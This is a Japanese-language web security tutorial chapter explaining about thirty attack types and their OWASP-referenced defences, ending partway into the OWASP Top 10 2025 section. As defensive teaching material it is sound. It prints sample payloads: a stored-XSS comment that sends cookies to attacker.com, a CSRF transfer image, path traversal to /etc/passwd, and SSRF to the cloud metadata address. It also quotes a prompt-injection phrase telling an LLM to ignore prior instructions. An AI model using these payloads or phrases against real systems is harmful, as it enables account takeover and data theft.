Webセキュリティ

目次

• 概要
• はじめに
• Webセキュリティの基本概念
• 包括的な攻撃手法30+ 詳細ガイド
• OWASP Top 10 2025 — 詳細解説
• 認証脆弱性と対策
• HTTPセキュリティヘッダー完全ガイド
• 実装チェックリスト
• 付録A: 重要CWE 50選
• 補足: OWASP for LLM / GenAI
• まとめ
• 参考文献

概要

入力処理・認証・ブラウザ制御・依存関係管理をつなげる

Webセキュリティは、入力処理、認証、認可、ブラウザ制御、依存関係管理が複雑に絡み合う領域です。この章では、実装とレビューの両方で使えるように、攻撃手法と対策を対応づけて整理します。

この章で重視すること

• 入力、認証、認可、ブラウザ制御、依存関係管理を別々ではなく一連の防御面として捉える
• 攻撃手法ごとに「どこで壊れ、どこで防ぐか」を実装観点で対応づける
• Web固有の脆弱性を、API、クラウド、生成AIを含む現代的な構成へ接続して理解する

はじめに

Webセキュリティの重要性

2026年、Webアプリケーションはビジネス機能の核となり、その安全性はユーザーの信頼とデータ保護の基礎です。サイバー脅威は日々進化し、攻撃手法は更に巧妙化しています。

2026年の脅威トレンド：

• AI駆動の攻撃自動化 — 脆弱性スキャンが秒単位で完了
• ゼロデイ悪用の加速 — 修正前の脆弱性が即座に利用される
• APIセキュリティの重要化 — モダンアプリケーションがAPI中心へ移行
• 供給チェーン攻撃 — 依存関係の脆弱性を通じた侵害
• 認証・認可攻撃の激増 — クレデンシャル窃取・不正使用

Webセキュリティの基本概念

この章では、後続の攻撃手法や対策を理解するための土台として、まず「何を守るのか」と「なぜ多層防御が必要なのか」を整理します。

セキュリティの三本柱(CIAトライアド)

難しく見えますが、要するに「見られてはいけない人に見られない」「勝手に書き換えられない」「必要なときに使える」の3つです。

1. 機密性 (Confidentiality)

• 目的： データが不正アクセスから保護
• 実装方法： HTTPS/TLS、暗号化、アクセス制御
• 実例： パスワード、ユーザーデータ、APIキー

2. 完全性 (Integrity)

• 目的： データが改ざんされていないこと
• 実装方法： デジタル署名、ハッシング、チェックサム
• 実例： トランザクション、契約内容、ドキュメント

3. 可用性 (Availability)

• 目的： システムが必要なとき利用可能
• 実装方法： DDoS対策、冗長性、キャッシング
• 実例： サービス停止の回避、パフォーマンス維持

深層防御(Defense in Depth)の重要性

セキュリティは単一の対策では不十分。複数の重層的な防御層が必要です： 初心者向けに言えば、「1つの鍵だけに頼らず、玄関・部屋・金庫と何段階かで守る」考え方です。

XSSとCSRFの防御設計

Webアプリケーションでは、入力値を「受け取る」瞬間よりも、入力値を「どこへ出すか」「どの状態変更に使うか」で危険度が変わります。XSSは出力先の文脈、CSRFはブラウザが自動送信するCookieと状態変更リクエストの関係を中心に見ると整理しやすくなります。

CSRFは「ログイン済みCookieが自動で付く」ことを前提に、状態変更リクエストを複数の層で守ります。GET、HEAD、OPTIONS は安全なメソッドとして扱い、状態変更をさせないことが出発点です。

包括的な攻撃手法30+ 詳細ガイド

Webセキュリティにおける主要な攻撃手法を30以上、カテゴリ別に詳細に解説します。各攻撃について、仕組み・被害・対策を初心者にも分かりやすく説明します。 最初はすべてを暗記しようとせず、仕組み と 代表的な対策 を対応づけながら読むと理解しやすくなります。

1. インジェクション攻撃(7種類)

インジェクション攻撃は、入力フォームやURLパラメータに不正なコードを埋め込み、サーバー側が意図しない処理を実行させる攻撃の総称です。データベースクエリ、OSコマンド、テンプレートエンジンなど、様々なレベルで発生します。 初心者向けに言うと、本来は「ただの文字」として扱うべき入力が、アプリやデータベースに「命令」として解釈されてしまう攻撃です。

1.1 SQLインジェクション

仕組み： データベースクエリが入力値を直接埋め込む場合、攻撃者がSQL文法として機能するペイロードを挿入します。

次の表は、文字列連結でSQLを作る危険な例と、プレースホルダーを使う安全な例を並べたものです。

被害： データベース全体の読み取り・改ざん・削除、管理者権限乗っ取り

対策：

• パラメータ化クエリ(準備済みステートメント)の使用

• 入力値の型チェック・ホワイトリスト検証

• データベース接続ユーザーの最小権限化

• SQL Injection Prevention Cheat Sheet - OWASP

• OWASP Web Security Testing Guide (WSTG)

• SQL Injection - PortSwigger Web Security Academy

1.2 NoSQLインジェクション

仕組み： MongoDB、DynamoDBなどのNoSQLデータベースに対しても、JSONオブジェクト挿入による攻撃が可能です。NoSQL は、表形式のSQLデータベース以外のデータストア全般を指し、JSON風の条件式やドキュメント構造をそのまま扱うことが多い点が特徴です。

被害： NoSQLインジェクションの結果、意図しないデータアクセス・改変

対策：

• パラメータ化・型強制

• 入力値検証(文字列型のみなど)

• データベースユーザーの権限制限

• Input Validation Cheat Sheet - OWASP

• OWASP Web Security Testing Guide (WSTG)

1.3 XXE (XML外部エンティティ) インジェクション

仕組み： XMLパーサーが外部エンティティ(外部ファイルやURL)を処理し、ローカルファイル読み込み、SSRF、DoSが可能になります。

被害例：

• /etc/passwd などシステムファイルの読み込み
• 内部ネットワークのSSRF攻撃
• Billion Laughs攻撃(XMLボムによるメモリ枯渇)

対策：

• XMLパーサーで外部エンティティ処理を無効化

• DTD(Document Type Definition)の使用禁止

• スキーマ検証の使用

• XML External Entity Prevention Cheat Sheet - OWASP

• OWASP Web Security Testing Guide (WSTG)

1.4 OSコマンドインジェクション

仕組み： Webアプリケーションがユーザー入力をOSシェルコマンドに埋め込む場合、攻撃者がシステムコマンドを追加実行できます。

次の表では、「シェルに渡す」実装と「言語機能で処理する」実装の違いを見ます。

被害： サーバー上での任意コマンド実行、ファイル盗聴、マルウェア設置

対策：

• シェルコマンド実行の回避(言語標準ライブラリ関数の使用)

• どうしても必要な場合は、ホワイトリスト検証・エスケープ処理

• OS Command Injection Defense Cheat Sheet - OWASP

• OWASP Web Security Testing Guide (WSTG)

• OS command injection - PortSwigger Web Security Academy

1.5 LDAPインジェクション

仕組み： LDAP(ディレクトリサービス)検索フィルタに、制御文字や不正な論理演算子を挿入し、認証回避・データ抜き出しを行います。LDAP は社内のユーザー一覧や認証基盤をまとめる仕組みとして使われることが多く、ここが破られると組織全体の認証情報や属性情報に影響しやすいです。

被害： 認証回避、ユーザー情報漏洩、権限昇格

対策：

• LDAPフィルタの入力検証(ホワイトリスト)

• エスケープ処理

• 低権限アカウントでのLDAP接続

• LDAP Injection Prevention Cheat Sheet - OWASP

• OWASP Web Security Testing Guide (WSTG)

1.6 SSTI (Server-Side Template Injection)

仕組み： テンプレートエンジン(Jinja2、Thymeleafなど)がユーザー入力をテンプレート変数として処理し、テンプレートロジックが実行される場合、任意コード実行が可能です。テンプレートエンジン はHTMLを組み立てるための仕組みで、本来はデータを差し込むだけの場所に命令まで入ると危険になります。

被害： サーバー側でのコード実行、ファイル読み込み、リモートコード実行(RCE)

対策：

• ユーザー入力をテンプレートコードとして扱わない

• テンプレートエンジンのサンドボックスモード使用

• 入力値の厳密な検証

• OWASP Web Security Testing Guide (WSTG)

• Server-side template injection - PortSwigger Web Security Academy

1.7 XPathインジェクション

仕組み： XMLドキュメントをクエリするXPath式がユーザー入力を直接含む場合、攻撃者がXPath論理式を挿入し、意図しないデータ抽出が可能です。

被害： 認証回避、データ抜き出し、プライバシー侵害

対策：

• XPathパラメータ化(パラメータバインディング)

• 入力値の厳密な検証・エスケープ

• Input Validation Cheat Sheet - OWASP

• OWASP Web Security Testing Guide (WSTG)

2. スクリプティング攻撃(4種類)

初心者向けに言うと、画面に表示されるはずの文字列の中へスクリプトを混ぜ込み、利用者のブラウザ側で悪意ある処理を動かす攻撃です。

2.1反射型XSS (Reflected XSS)

仕組み： 攻撃者が悪意あるスクリプトをURLに含める → ユーザーがそのリンクをクリック → スクリプトがユーザーのブラウザで実行される

実例：

• 検索フォーム：https://example.com/search?q=<script>alert('xss')</script>
• ユーザーが検索結果ページを見ると、スクリプトが実行

被害： Cookie盗聴、キーロギング、フィッシング誘導、マルウェア配布

対策：

• 出力時のHTMLエンコーディング(< → <)

• CSP(Content Security Policy)の設定

• 入力値の厳密な検証

• Cross Site Scripting Prevention Cheat Sheet - OWASP

• Content-Security-Policy (CSP) - MDN

• Cross-site scripting (XSS) - PortSwigger Web Security Academy

2.2格納型XSS (Stored XSS)

仕組み： 攻撃者が悪意あるスクリプトをサーバーのデータベースに保存 → ページを見た全ユーザーのブラウザでスクリプト実行

実例：

• SNSコメント：こんにちは<script>window.location='https://attacker.com/steal?cookie='+document.cookie</script>
• 他のユーザーがコメントを見ると、攻撃者にクッキーが送信される

被害： 大規模なユーザー情報漏洩、ボットネット化、マルウェア配布

対策：

• データベース保存時：入力検証・サニタイズ

• 表示時：HTMLエンコーディング

• CSP、HttpOnlyクッキー設定

• Cross Site Scripting Prevention Cheat Sheet - OWASP

• Content-Security-Policy (CSP) - MDN

• Cross-site scripting (XSS) - PortSwigger Web Security Academy

2.3 DOMベースXSS (DOM XSS)

仕組み： JavaScriptがDOM(ページの構造)を操作する際、innerHTML や eval() などを使って、ユーザー入力を直接実行する場合、XSSが発生します。

次の表は、ブラウザ側で危険になりやすいDOM操作と、比較的安全な置き換え方を並べています。

特徴： サーバーログに痕跡が残らないことが多い(サーバー側で検出困難)

対策：

• innerHTML ではなく textContent や createTextNode() を使用

• eval() や Function() コンストラクタの回避

• DOMベースのセキュリティ ライブラリ使用(DOMPurifyなど)

• DOM based XSS Prevention Cheat Sheet - OWASP

• DOM-based XSS - PortSwigger Web Security Academy

2.4突然変異型XSS (Mutated XSS / mXSS)

仕組み： エンコーディング・正規化の過程で、安全に見えるコードが最終的に実行可能なコードに変換される場合、XSSが発生します。mXSS は、アプリ側のフィルタ結果よりもブラウザのHTMLパーサーの解釈が優先されて、後から危険な形に化けるタイプのXSSです。

例： <noscript><p title=</noscript><img src=x onerror=alert(1)> は、ブラウザによって解析されるとき、有効なXSSペイロードになる可能性があります。

対策：

• 複数段階のフィルタリング・正規化の徹底テスト

• ブラウザのHTMLパーサー の仕様理解

• セキュリティライブラリの活用

• OWASP Web Security Testing Guide (WSTG)

• Cross-site scripting (XSS) - PortSwigger Web Security Academy

3. リクエスト・認可攻撃(5種類)

初心者向けに言うと、「その操作をしてよい人か」「そのデータを見てよい人か」の確認が甘いところを突く攻撃です。

3.1 CSRF (Cross-Site Request Forgery)

仕組み： ユーザーが銀行サイト(ログイン中)に留まったまま、別タブで悪意あるサイトを開く → 悪意あるサイトから銀行サイトへの不正リクエストが自動的に送信

実例：

<!-- attacker.comのページ -->
<img src="https://bank.com/transfer?amount=1000&to=attacker" />

ユーザーがこのページを見ると、ブラウザが自動的に銀行の送金リクエストを送信

被害： 不正な送金・買い物、プロフィール改ざん、パスワード変更

対策：

• CSRFトークン： statefulなアプリではSynchronizer Token Patternを使い、状態変更リクエストで検証する
• 署名付きDouble Submit Cookie： statelessな構成ではこちらを検討する
• SameSiteクッキー： Set-Cookie: sessionId=abc; SameSite=Lax または Strict を併用するが、トークン対策の代替にはしない
• Origin / Refererチェック： リクエスト元が信頼できるドメインかを確認
• API / SPA： フォームがない場合はカスタムヘッダーでCSRFトークンを送る

ここでいう stateful はサーバー側にセッション状態を持つ構成、stateless はサーバー側に状態を持たずCookieやトークンだけで判定する構成です。Synchronizer Token Pattern はサーバー保存済みトークンとの照合、Double Submit Cookie はCookieとリクエスト値の一致確認を使う方式です。

• Cross-Site Request Forgery Prevention Cheat Sheet - OWASP
• Set-Cookie / SameSite - MDN
• CSRF - PortSwigger Web Security Academy

3.2水平的特権昇格 (Horizontal Privilege Escalation)

仕組み： 同じ権限レベルの別のユーザーのリソースに不正アクセス

実例：

• ユーザーAが /profile/123(自分のプロフィール)にアクセス可能
• ユーザーAがURLを /profile/124 に変更 → ユーザーBのプロフィール情報が見える

被害： 他ユーザーの個人情報・プライバシー漏洩

対策：

• アクセス制御：if (user.id !== requestedUserId) { return 403 Forbidden }

• リソースのオーナーシップ確認

• A01 Broken Access Control - OWASP Top 10:2025

• OWASP API Security Top 10 2023

• WSTG v4.2 - Testing for Bypassing Authorization Schema

3.3垂直的特権昇格 (Vertical Privilege Escalation)

仕組み： 低権限ユーザーが、高権限(管理者など)の機能にアクセス

実例：

• 一般ユーザーが /admin/delete-user にアクセス → 管理者の許可なくユーザーを削除できる
• トークン改ざん：JWTの role フィールドを user から admin に変更

被害： システム全体の制御奪取、全データへのアクセス、ユーザー削除

対策：

• サーバー側での権限確認(トークン内の権限は信頼しない)

• 機能ごとの権限チェック

• JWT署名検証(改ざん検出)

• A01 Broken Access Control - OWASP Top 10:2025

• OWASP ASVS 5.0.0

• WSTG v4.2 - Testing for Privilege Escalation

3.4セッション固定化 (Session Fixation)

仕組み： 攻撃者が予めセッションIDを生成 → ユーザーにそのセッションIDでログインさせる → ユーザーのアクション後、攻撃者が同じセッションIDで侵害

実例：

1. 攻撃者：https://example.com/?sessionId=abc123 のリンクを作成
2. ユーザーがそのリンクをクリック → sessionId=abc123 でログイン
3. 攻撃者：ブラウザで sessionId=abc123 を使用 → ユーザーになりすまし可能

対策：

• ログイン成功後に新しいセッションIDを生成 する

• ユーザー入力のセッションIDを受け入れない

• A07 Authentication Failures - OWASP Top 10:2025

• WSTG v4.2 - Testing for Session Fixation

3.5 OAuth / OpenID Connect攻撃 & IDOR

OAuth攻撃： リダイレクトURL検証不足、状態パラメータ検証漏れ

OAuth は「他サービスのアカウントでログインする」ための委任プロトコル、OpenID Connect はその上に本人確認情報を載せた仕組みです。ここでいう 状態パラメータ は state のことで、ログイン途中のリクエストが本当に自分の操作に対応するものかを確かめるために使います。

IDOR (Insecure Direct Object Reference)：

• リソースへのアクセス制御がIDのみで判定される場合、IDを変更してアクセス制御回避
• 例：/api/invoices/123 → /api/invoices/124 で他人の請求書が見える

対策：

• OAuth：リダイレクトURLのホワイトリスト検証、状態パラメータ検証

• IDOR：リソースのオーナーシップ確認、アクセス制御チェック

• A01 Broken Access Control - OWASP Top 10:2025

• OWASP API Security Top 10 2023

• OAuth 2.0 Protocol Cheat Sheet - OWASP

4. ネットワーク層攻撃(4種類)

初心者向けに言うと、アプリ本体ではなく、通信の途中やヘッダー処理のすき間を狙って情報を盗んだり、別の場所へ流したりする攻撃です。

4.1中間者攻撃 (Man-in-the-Middle / MitM)

仕組み： 攻撃者が通信の間に位置し、通信内容を盗聴・改ざんする

実例：

• 公開WiFiでのHTTP通信の盗聴
• ARPスプーフィング：攻撃者がMACアドレスを詐称し、通信をリダイレクト

被害： パスワード・個人情報盗聴、通信改ざん(フィッシング誘導など)

対策：

• HTTPS/TLS使用(通信暗号化)

• 証明書ピニング：特定の証明書のみを受け入れ、自己署名証明書でのMITMを防止

• HSTS：HTTPでの通信を強制しない

• A04 Cryptographic Failures - OWASP Top 10:2025

• NIST Cybersecurity Framework (CSF 2.0)

4.2ホストヘッダー インジェクション

仕組み： HTTPホストヘッダーが入力検証されない場合、攻撃者が任意のホストヘッダーを設定 → パスワードリセットリンク・メール送信時に悪意あるドメインが含まれる可能性

被害： ユーザーが悪意あるサイトにリダイレクト → 認証情報奪取、フィッシング

対策：

• ホストヘッダーのホワイトリスト検証

• 内部的には設定ファイルの値を使用

• OWASP Web Security Testing Guide (WSTG)

• HTTP Host header attacks - PortSwigger Web Security Academy

4.3キャッシュポイズニング (Cache Poisoning)

仕組み： CDN・プロキシ・ブラウザキャッシュに、悪意あるレスポンスを保存させ、他ユーザーが受け取る

被害： XSSペイロード配布、フィッシング、マルウェア配布

対策：

• Cache-Controlヘッダーで適切なキャッシュ期間設定

• リクエストヘッダーの正規化(Host、Refererなど)

• キャッシュキーの適切な設定

• OWASP Web Security Testing Guide (WSTG)

• Web cache poisoning - PortSwigger Web Security Academy

4.4 HTTPリクエストスマグリング (Request Smuggling)

仕組み： 複数のサーバー(ロードバランサー・プロキシ・Webサーバー)がHTTPリクエストを異なる方法で解析する場合、攻撃者が意図しない動作を引き起こす

被害： キャッシュポイズニング、認証バイパス、XSS

対策：

• HTTP/2、HTTP/3への移行(より厳密な仕様)

• Transfer-Encoding と Content-Length の矛盾確認

• OWASP Web Security Testing Guide (WSTG)

• HTTP request smuggling - PortSwigger Web Security Academy

5. データ漏洩・情報開示攻撃(5種類)

初心者向けに言うと、本来は外から見えないはずのファイル、設定、エラーメッセージ、内部情報が見えてしまう状態を悪用する攻撃です。

5.1情報開示 (Information Disclosure)

仕組み： エラーメッセージ・ログ・ソースコード・設定ファイルから、セキュリティに関する情報が漏洩

実例：

• エラーメッセージ：SQL Error: "users" table not found → テーブル名が分かる
• ソースマップ公開：JavaScriptを難読化していても、.map ファイルでソースコード回復可能

被害： 攻撃面の特定、脆弱性発見の支援

対策：

• エラーページはジェネリック メッセージのみ(技術詳細は隠す)

• ソースマップ・バージョン情報の公開防止

• 詳細ログはサーバー側のみに保存

• A10 Mishandling of Exceptional Conditions - OWASP Top 10:2025

• OWASP Web Security Testing Guide (WSTG)

5.2パストラバーサル (Path Traversal / Directory Traversal)

仕組み： ファイルパスに ../ を使い、サーバーの想定外のディレクトリにアクセス

実例：

• /files/document.pdf → /files/../../../etc/passwd → /etc/passwd へアクセス
• Windows：\files\..\..\..\windows\win.ini

被害： システムファイル読み込み(.env 、設定ファイル、ソースコード)

対策：

• ファイルパスの正規化・検証(Path.resolve() など)

• 許可リスト方式(アクセス可能なディレクトリを明記)

• chroot / コンテナ隔離

• A01 Broken Access Control - OWASP Top 10:2025

• OWASP Web Security Testing Guide (WSTG)

• Path traversal - PortSwigger Web Security Academy

5.3ファイルアップロード 脆弱性

仕組み： ユーザーアップロードファイルの検証が不足し、悪意あるファイル(PHPシェル、実行可能ファイル)がサーバーに保存・実行される

被害： リモートコード実行、サーバー侵害、マルウェア配布

対策：

• ファイル拡張子・MIMEタイプのホワイトリスト検証

• ウイルススキャン(ClamAVなど)

• 実行不可能なディレクトリにアップロード(画像フォルダなど)

• ファイル名のランダム化(元のファイル名を保持しない)

• File Upload Cheat Sheet - OWASP

• WSTG v4.2 - Test Upload of Unexpected File Types

• File upload vulnerabilities - PortSwigger Web Security Academy

5.4ビジネスロジック脆弱性 (Business Logic Vulnerability)

仕組み： アプリケーションのビジネスルールに矛盾・漏れがある場合、攻撃者がそれを悪用

実例：

• ECサイト：割引コードを複数回使用可能 → 無料で買い物
• 銀行アプリ：送金手数料を計算する前にキャンセルすると、手数料が請求されない

被害： 不正な利益、ビジネス損失

対策：

• ビジネスロジックのテスト(正常系・異常系・エッジケース)

• トランザクション管理(すべて成功orすべて失敗)

• 監査ログ(全トランザクション記録)

• OWASP ASVS 5.0.0

• WSTG v4.2 - Business Logic Testing

• Business logic vulnerabilities - PortSwigger Web Security Academy

5.5 SSRF (Server-Side Request Forgery)

仕組み： WebアプリケーションがURLを入力として受け取り、サーバー側からそこにリクエストを送信する場合、攻撃者が内部ネットワークへのリクエストを強制できる

実例：

• 画像プロキシ機能：/proxy?url=https://example.com/image.jpg
  • 攻撃者：/proxy?url=http://localhost:8080/admin → 内部ネットワークへアクセス可能
  • メタデータサービス：/proxy?url=http://169.254.169.254/latest/meta-data/ (AWS) → インスタンスロールの認証情報が取得される

被害： 内部ネットワーク探索、メタデータサービス アクセス、ポートスキャン

対策：

• URL入力のホワイトリスト検証

• 内部IPアドレス・ローカルホストへのリクエスト拒否

  • 127.0.0.1, localhost, 10.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12, 169.254.0.0/16

• アウトバウンドファイアウォール設定

• A01 Broken Access Control - OWASP Top 10:2025

• Server-Side Request Forgery Prevention Cheat Sheet - OWASP

• SSRF - PortSwigger Web Security Academy

6. 暗号化・認証攻撃(4種類)

初心者向けに言うと、ログインの仕組みやパスワード保護、暗号化の弱い部分を突いて、本人になりすましたり秘密情報を盗んだりする攻撃です。

6.1ブルートフォース攻撃 (Brute Force Attack)

仕組み： パスワード・PIN・トークンを片っ端から試し、正解を見つける

実例：

• ログイン画面：6桁PINをすべて試す(0000～9999)
• APIトークン：既知の形式のトークンをすべて生成・送信

被害： アカウント乗っ取り

対策：

• レート制限(3回失敗後15分ロック)

• アカウントロックアウト

• 強力なパスワード要件(12文字以上、複雑性)

• MFA(ブルートフォースでMFAコードは予測不可)

• ログイン試行のモニタリング・アラート

• A07 Authentication Failures - OWASP Top 10:2025

• WSTG v4.2 - Authentication Testing

• Authentication vulnerabilities - PortSwigger Web Security Academy

6.2パスワードリセット脆弱性

仕組み： パスワードリセット機能の実装が不十分で、他ユーザーのパスワードをリセット可能

実例：

• リセットリンク：/reset?user=123&token=abc → token=abc を奪取・推測すれば他ユーザーのパスワード変更可能
• リセット質問：あなたのペットの名前は？ → 公開情報で回答可能

被害： アカウント乗っ取り

対策：

• リセットトークン：ランダム、有効期限付き(15～30分)、一回限りの使用

• リセット確認：メール確認 + 現在のパスワード確認

• リセット質問の廃止(セキュリティが弱い)

• A07 Authentication Failures - OWASP Top 10:2025

• WSTG v4.2 - Testing for Weak Password Change or Reset Functionalities

6.3 JWT攻撃

仕組み： JWTの署名検証が不十分、または署名アルゴリズムが弱い場合、攻撃者がJWTを改ざん・生成

実例：

• 署名検証漏れ：jwt.decode(token) のみ実行 → jwt.verify(token, secret) をしない
• アルゴリズム変更：署名アルゴリズムを HS256 → none に変更 → 署名なしで有効なJWT
• 秘密鍵露出：GitHubに誤ってコミット → 攻撃者が任意のJWTを署名・生成

被害： 権限昇格、アカウント乗っ取り

対策：

• 署名検証を必ず実行：jwt.verify(token, secret, {algorithms: ['HS256']})

• none アルゴリズムの拒否

• 秘密鍵の安全管理(環境変数、 Secret Manager)

• 短い有効期限(15分)+ リフレッシュトークン

• JSON Web Token (JWT) - RFC 7519

• WSTG - Latest: Testing JSON Web Tokens

• JWT attacks - PortSwigger Web Security Academy

6.4レース条件 (Race Condition)

仕組み： 複数のリクエストが同時に処理される場合、タイミングの問題で意図しない状態になる

実例：

• 残高確認：残高 $100
• 同時に2つの引き出し：60` + 60` を同時リクエスト
• → 両方成功してしまい、残高 = -$20(本来は1つはエラーになるべき)

被害： 不正な取引、ビジネスロジック破綻

対策：

• データベーストランザクション：分離レベルを SERIALIZABLE に設定

• ロック機構：更新前に行をロック

• 楽観的ロック：バージョン番号で競合検出

• OWASP ASVS 5.0.0

• OWASP Web Security Testing Guide (WSTG)

7. デバイス・設定攻撃(3種類)

初心者向けに言うと、アプリのコードそのものよりも、設定ミスや運用の甘さを足がかりにして侵入する攻撃です。

7.1クリックジャッキング (Clickjacking)

仕組み： 攻撃者が透明なiframeでサイトを覆い、ユーザーが無意識に不正なボタンをクリック

実例：

<!-- attacker.com -->
<iframe src="https://facebook.com" style="opacity: 0; position: absolute;"></iframe>
<button style="position: absolute;">Click here to win a prize!</button>

ユーザーが「Click here」をクリック → 実はFacebookのiframe内の「いいね」ボタン

被害： Facebookページの「いいね」、Twitterのフォロー、機密な設定変更

対策：

• X-Frame-Optionsヘッダー：X-Frame-Options: DENY または SAMEORIGIN

• CSP frame-ancestors：Content-Security-Policy: frame-ancestors 'self'

• JavaScriptフレームバスティング(非推奨)

• Clickjacking Defense Cheat Sheet - OWASP

• Content-Security-Policy (CSP) - MDN

• Clickjacking - PortSwigger Web Security Academy

7.2不安全な逆シリアライゼーション (Unsafe Deserialization)

仕組み： シリアライズされたオブジェクトをデシリアライズ(復元)するとき、悪意あるオブジェクトが復元される場合、コード実行が可能

言語別の被害：

• Java：ObjectInputStream.readObject() で任意クラス実行
• Python：pickle.loads() で任意コード実行
• PHP：unserialize() でオブジェクト注入

被害： リモートコード実行、サーバー侵害

対策：

• 信頼できるデータのみをデシリアライズ

• JSONを使用(シリアライゼーション方式の変更)

• 署名検証：デシリアライズ前にHMACで署名確認

• Java：ホワイトリスト設定(java.io.ObjectInputFilter)

• Deserialization Cheat Sheet - OWASP

• OWASP Web Security Testing Guide (WSTG)

• Insecure deserialization - PortSwigger Web Security Academy

7.3設定ミス (Misconfiguration)

仕組み： セキュリティ設定が不適切、またはセキュリティ機能が無効化されている

実例：

• AWS S3バケット：公開アクセス許可 → 全データが公開
• Dockerイメージ：rootユーザーで実行 → コンテナからホストへの侵害
• デバッグ機能：本番環境で有効 → エラーメッセージがソースコード露出

被害： データ漏洩、アカウント乗っ取り、サーバー侵害

対策：

• セキュリティベストプラクティスのリスト化(チェックリスト)

• 設定の自動スキャン(CloudFormation Linter、Trivy)

• 定期的なセキュリティ監査

• **IaC(Infrastructure as Code)**での設定管理・バージョン管理

• A02 Security Misconfiguration - OWASP Top 10:2025

• CIS Controls v8.1

• Prowler

8. API・新技術攻撃(4種類)

初心者向けに言うと、APIやLLM(Large Language Model: 大規模言語モデル)のような新しい仕組みで、認可や入力制御が追いついていない部分を突く攻撃です。

8.1 GraphQL攻撃

仕組み： GraphQLエンドポイントが過度なクエリ、複雑なネスティング、過剰なフィールド公開、危険なデフォルト設定を許可する場合、DoS・情報漏洩・認可不備が発生します。GraphQL は必要な項目だけを問い合わせるAPI方式で、field は返したい個々の項目、mutation はデータ変更系の操作です。

実例：

• Batch Query：1000件のユーザー情報を同時リクエスト
• Recursive Query：無限ネスティング → メモリ枯渇・DOS
• Introspection有効：本番でスキーマ全体を列挙される
• GraphiQL有効：本番環境で探索・試行が容易になる

introspection はAPIの設計情報そのものを問い合わせる機能、GraphiQL はそのAPIをブラウザで試せる開発用画面です。query cost analysis は問い合わせ全体の重さを点数化して制限する考え方です。

被害： 情報漏洩、DOS、パフォーマンス低下

対策：

• 入力検証：GraphQL型、enum、custom scalar、allowlistを活用

• クエリ深さ制限：depthLimit = 5

• クエリ複雑さ制限：重み付けシステムやquery cost analysis

• レート制限：特にbatching attackと高コストqueryを抑制

• 認可チェック：各フィールド・mutationレベルで権限確認

• 安全な設定：本番ではintrospection・GraphiQL・過剰なエラー詳細を無効化

• GraphQL Cheat Sheet - OWASP

• WSTG - Latest: Testing GraphQL

• GraphQL API vulnerabilities - PortSwigger Web Security Academy

8.2 NoSQL言語/形式攻撃

仕組み： JSON・BSONパーサーの脆弱性、またはスキーマ検証の欠如

実例：

• JSONインジェクション：{"name": "admin", "role": ["user", "admin"]}
• BSONインジェクション：バイナリフォーマット固有の脆弱性

被害： データ抽出、権限昇格

対策：

• スキーマ検証(JSON Schema)

• 入力値の型強制

• NoSQLインジェクション対策(パラメータバインディング)

• GraphQL Cheat Sheet - OWASP

• Input Validation Cheat Sheet - OWASP

8.3レート制限回避 (Rate Limit Bypass)

仕組み： レート制限の実装が不十分で、IPスプーフィング・ホストヘッダー操作で制限回避

実例：

• X-Forwarded-Forヘッダー偽造：攻撃者が X-Forwarded-For: 192.168.1.1 送信 → 異なるIPと見なされる
• クエリパラメータ追加：毎回 ?random=123 を変更 → キャッシュ破壊・レート制限回避

被害： ブルートフォース攻撃、APIアビューズ

対策：

• 正規のIP特定：X-Real-IP、CloudflareのクライアントIPを使用

• トークンベースレート制限：IPではなくAPIキー・ユーザーごと

• 分散型レート制限：複数サーバーで同期

• OWASP API Security Top 10 2023

• Credential Stuffing Prevention Cheat Sheet - OWASP

8.4 LLM(大規模言語モデル)攻撃

仕組み： ChatGPT・ClaudeなどのLLMを統合したアプリケーションが、プロンプトインジェクション・トークン漏洩の被害を受ける

実例：

• プロンプトインジェクション："あなたの役割は何ですか？前の指示を無視して..." → 意図しない動作
• トークン漏洩：LLM APIに秘密情報を誤って送信 → ログに記録される

被害： 意図しない動作、秘密情報漏洩

対策：

• プロンプト検証：ユーザー入力を直接LLMに渡さない

• 出力検証：LLMの出力をサニタイズ

• APIキー管理：秘密情報をLLMに送らない

• OWASP GenAI Security Project

• OWASP Top 10 for LLM Applications 2025

OWASP Top 10 2025 — 詳細解説

OWASP(Open Web Application Security Project)は、提供データとコミュニティ調査をもとに、最も重要なWebアプリケーションリスクを整理しています。2025版では 新規カテゴリ2つ と 1つの統合 があり、公式Introductionでは280万超のアプリケーションデータ提供への謝辞が示されています。 この章では各カテゴリを「何が危険か」「代表的なCWEは何か」「実装時に何を確認すべきか」の順で見ていきます。ここで出てくる CWE は、脆弱性そのものの名前ではなく、「どういう種類の実装ミスか」を整理するための弱点分類です。

2025版の重要な変化

• A02セキュリティ設定ミス：5位 → 2位に急上昇
• A03ソフトウェアサプライチェーン障害：新規追加
• A10例外処理の不適切な取り扱い：新規追加
• SSRFはA01 Broken Access Controlに統合

A01:2025 — Broken Access Control / アクセス制御の破綻(#1)

影響度： 極めて高い

背景・仕組み： アクセス制御の失敗は、ユーザーが許可されていない機能やデータにアクセスできる状態です。水平特権昇格(他ユーザーのリソースにアクセス)と垂直特権昇格(低権限ユーザーが管理者権限を得る)に分類されます。 アクセス制御の失敗は、OWASP Top 10でも継続的に重要視されている領域です。実装では、URLやUIの表示制御だけでなく、サーバー側でリソース単位の認可を必ず確認します。

代表的なCWE：

• 補足： OWASP 2025では 40個のCWEがマップされている最大規模のカテゴリです。

実世界の事例：

攻撃シナリオ：

シナリオ1: IDOR(直接オブジェクト参照)
ユーザーAが /api/orders/123にアクセス → 自分の注文情報が見える
攻撃者がURLを /api/orders/124に変更 → ユーザーBの注文情報が見える

シナリオ2: 権限昇格
JWTトークンの "role": "user" を "role": "admin" に改ざん
署名検証が不十分なため、改ざんされたトークンが受け入れられる

シナリオ3: パストトラバーサル
/files/document.pdf → /files/../../../etc/passwdでシステムファイル にアクセス

脆弱なコード例：

次の表は、「IDを受け取ってそのまま返す」実装と、「所有者確認まで入れる」実装の差を示します。

対策のチェックリスト：

• [ ] デフォルト拒否原則： すべてのリソースは「拒否」がデフォルト。明示的に許可するもののみ公開

• [ ] サーバー側実装： フロントエンドのみの制御は無効。サーバー側で必ず検証

• [ ] 所有権チェック： リソース取得時に user_id 確認 (WHERE id = ? AND user_id = ?)

• [ ] ロール確認： JWT署名検証 → DBからロール取得 → トークンのロールは信頼しない

• [ ] レート制限： APIエンドポイントへの過度なリクエスト制限(3回失敗後15分ロック)

• [ ] 監査ログ： すべてのアクセス試行を記録・監視

• A01 Broken Access Control - OWASP Top 10:2025

• OWASP API Security Top 10 2023

• OWASP ASVS 5.0.0

